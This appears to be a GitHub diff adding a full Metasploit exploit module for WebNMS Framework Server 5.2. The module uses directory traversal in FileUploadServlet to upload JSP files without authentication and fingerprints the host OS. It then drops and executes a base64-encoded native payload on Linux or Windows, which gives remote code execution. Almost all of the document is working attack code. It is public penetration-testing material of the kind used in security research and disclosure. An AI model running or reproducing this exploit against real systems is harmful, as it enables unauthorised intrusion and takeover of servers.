|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class MetasploitModule < Msf::Exploit::Remote |
| 9 | + Rank = ExcellentRanking |
| 10 | + |
| 11 | + include Msf::Exploit::Remote::HttpClient |
| 12 | + include Msf::Exploit::FileDropper |
| 13 | + include Msf::Exploit::EXE |
| 14 | + |
| 15 | + def initialize(info = {}) |
| 16 | + super( |
| 17 | + update_info( |
| 18 | + info, |
| 19 | + 'Name' => 'WebNMS Framework Server Arbitrary File Upload', |
| 20 | + 'Description' => %q( |
| 21 | +This module abuses a vulnerability in WebNMS Framework Server 5.2 that allows an |
| 22 | +unauthenticated user to upload text files by using a directory traversal attack |
| 23 | +on the FileUploadServlet servlet. A JSP file can be uploaded that then drops and |
| 24 | +executes a malicious payload, achieving code execution under the user which the |
| 25 | +WebNMS server is running. |
| 26 | +This module has been tested with WebNMS Framework Server 5.2 and 5.2 SP1 on |
| 27 | +Windows and Linux. |
| 28 | +), |
| 29 | + 'Author' => |
| 30 | + [ |
| 31 | + 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module |
| 32 | + ], |
| 33 | + 'License' => MSF_LICENSE, |
| 34 | + 'References' => |
| 35 | + [ |
| 36 | + [ 'URL', 'https://blogs.securiteam.com/index.php/archives/2712' ] |
| 37 | + ], |
| 38 | + 'DefaultOptions' => { 'WfsDelay' => 15 }, |
| 39 | + 'Privileged' => false, |
| 40 | + 'Platform' => %w(linux win), |
| 41 | + 'Targets' => |
| 42 | + [ |
| 43 | + [ 'Automatic', {} ], |
| 44 | + [ |
| 45 | + 'WebNMS Framework Server 5.2 / 5.2 SP1 - Linux', |
| 46 | + { |
| 47 | + 'Platform' => 'linux', |
| 48 | + 'Arch' => ARCH_X86 |
| 49 | + } |
| 50 | + ], |
| 51 | + [ |
| 52 | + 'WebNMS Framework Server 5.2 / 5.2 SP1 - Windows', |
| 53 | + { |
| 54 | + 'Platform' => 'win', |
| 55 | + 'Arch' => ARCH_X86 |
| 56 | + } |
| 57 | + ] |
| 58 | + ], |
| 59 | + 'DefaultTarget' => 0, |
| 60 | + 'DisclosureDate' => 'Jul 4 2016' |
| 61 | + ) |
| 62 | + ) |
| 63 | + |
| 64 | + register_options( |
| 65 | + [ |
| 66 | + Opt::RPORT(9090), |
| 67 | + OptString.new('TARGETURI', [ true, "WebNMS path", '/']) |
| 68 | + ], |
| 69 | + self.class |
| 70 | + ) |
| 71 | + end |
| 72 | + |
| 73 | + def check |
| 74 | + res = send_request_cgi( |
| 75 | + 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'), |
| 76 | + 'method' => 'GET' |
| 77 | + ) |
| 78 | + if res && res.code == 405 |
| 79 | + return Exploit::CheckCode::Detected |
| 80 | + else |
| 81 | + return Exploit::CheckCode::Unknown |
| 82 | + end |
| 83 | + end |
| 84 | + |
| 85 | + def upload_payload(payload, is_exploit) |
| 86 | + jsp_name = 'WebStart-' + rand_text_alpha(rand(8) + 3) + '.jsp' |
| 87 | + if is_exploit |
| 88 | + print_status("#{peer} - Uploading payload...") |
| 89 | + end |
| 90 | + res = send_request_cgi( |
| 91 | + 'uri' => normalize_uri(target_uri.path, 'servlets', 'FileUploadServlet'), |
| 92 | + 'method' => 'POST', |
| 93 | + 'data' => payload.to_s, |
| 94 | + 'ctype' => 'text/html', |
| 95 | + 'vars_get' => { 'fileName' => '../jsp/' + jsp_name } |
| 96 | + ) |
| 97 | + |
| 98 | + if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/ |
| 99 | + if is_exploit |
| 100 | + print_status("#{peer} - Payload uploaded successfully") |
| 101 | + end |
| 102 | + return jsp_name |
| 103 | + else |
| 104 | + return nil |
| 105 | + end |
| 106 | + end |
| 107 | + |
| 108 | + def pick_target |
| 109 | + return target if target.name != 'Automatic' |
| 110 | + |
| 111 | + print_status("#{peer} - Determining target") |
| 112 | + os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} |
| 113 | + jsp_name = upload_payload(os_finder_payload, false) |
| 114 | + |
| 115 | + res = send_request_cgi( |
| 116 | + 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name), |
| 117 | + 'method' => 'GET' |
| 118 | + ) |
| 119 | + |
| 120 | + if res && res.code == 200 |
| 121 | + register_files_for_cleanup('jsp/' + jsp_name) |
| 122 | + if res.body.include? "Linux" |
| 123 | + return targets[1] |
| 124 | + elsif res.body.include? "Windows" |
| 125 | + return targets[2] |
| 126 | + end |
| 127 | + end |
| 128 | + |
| 129 | + return nil |
| 130 | + end |
| 131 | + |
| 132 | + def generate_jsp_payload |
| 133 | + opts = { arch: @my_target.arch, platform: @my_target.platform } |
| 134 | + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) |
| 135 | + exe = generate_payload_exe(opts) |
| 136 | + base64_exe = Rex::Text.encode_base64(exe) |
| 137 | + |
| 138 | + native_payload_name = rand_text_alpha(rand(6) + 3) |
| 139 | + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' |
| 140 | + |
| 141 | + var_raw = rand_text_alpha(rand(8) + 3) |
| 142 | + var_ostream = rand_text_alpha(rand(8) + 3) |
| 143 | + var_buf = rand_text_alpha(rand(8) + 3) |
| 144 | + var_decoder = rand_text_alpha(rand(8) + 3) |
| 145 | + var_tmp = rand_text_alpha(rand(8) + 3) |
| 146 | + var_path = rand_text_alpha(rand(8) + 3) |
| 147 | + var_proc2 = rand_text_alpha(rand(8) + 3) |
| 148 | + |
| 149 | + if @my_target['Platform'] == 'linux' |
| 150 | + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) |
| 151 | + chmod = %| |
| 152 | + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); |
| 153 | + Thread.sleep(200); |
| 154 | + | |
| 155 | + |
| 156 | + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) |
| 157 | + cleanup = %| |
| 158 | + Thread.sleep(200); |
| 159 | + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); |
| 160 | + | |
| 161 | + else |
| 162 | + chmod = '' |
| 163 | + cleanup = '' |
| 164 | + end |
| 165 | + |
| 166 | + jsp = %| |
| 167 | + <%@page import="java.io.*"%> |
| 168 | + <%@page import="sun.misc.BASE64Decoder"%> |
| 169 | + <% |
| 170 | + try { |
| 171 | + String #{var_buf} = "#{base64_exe}"; |
| 172 | + BASE64Decoder #{var_decoder} = new BASE64Decoder(); |
| 173 | + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); |
| 174 | +
|
| 175 | + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); |
| 176 | + String #{var_path} = #{var_tmp}.getAbsolutePath(); |
| 177 | +
|
| 178 | + BufferedOutputStream #{var_ostream} = |
| 179 | + new BufferedOutputStream(new FileOutputStream(#{var_path})); |
| 180 | + #{var_ostream}.write(#{var_raw}); |
| 181 | + #{var_ostream}.close(); |
| 182 | + #{chmod} |
| 183 | + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); |
| 184 | + #{cleanup} |
| 185 | + } catch (Exception e) { |
| 186 | + } |
| 187 | + %> |
| 188 | + | |
| 189 | + jsp.delete!("\n\r\t") |
| 190 | + return jsp |
| 191 | + end |
| 192 | + |
| 193 | + def exploit |
| 194 | + @my_target = pick_target |
| 195 | + if @my_target.nil? |
| 196 | + print_error("#{peer} - Unable to select a target, we must bail.") |
| 197 | + return |
| 198 | + else |
| 199 | + print_status("#{peer} - Selected target #{@my_target.name}") |
| 200 | + end |
| 201 | + |
| 202 | + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. |
| 203 | + # Fail if this is the case and ask the user to select an appropriate payload. |
| 204 | + if @my_target['Platform'] == 'linux' && payload_instance.name =~ /Windows/ |
| 205 | + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") |
| 206 | + end |
| 207 | + |
| 208 | + jsp_payload = generate_jsp_payload |
| 209 | + jsp_name = upload_payload(jsp_payload, true) |
| 210 | + if jsp_name.nil? |
| 211 | + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") |
| 212 | + else |
| 213 | + register_files_for_cleanup('jsp/' + jsp_name) |
| 214 | + end |
| 215 | + |
| 216 | + print_status("#{peer} - Executing payload...") |
| 217 | + send_request_cgi( |
| 218 | + 'uri' => normalize_uri(target_uri.path, 'jsp', jsp_name), |
| 219 | + 'method' => 'GET' |
| 220 | + ) |
| 221 | + end |
| 222 | +end |
0 commit comments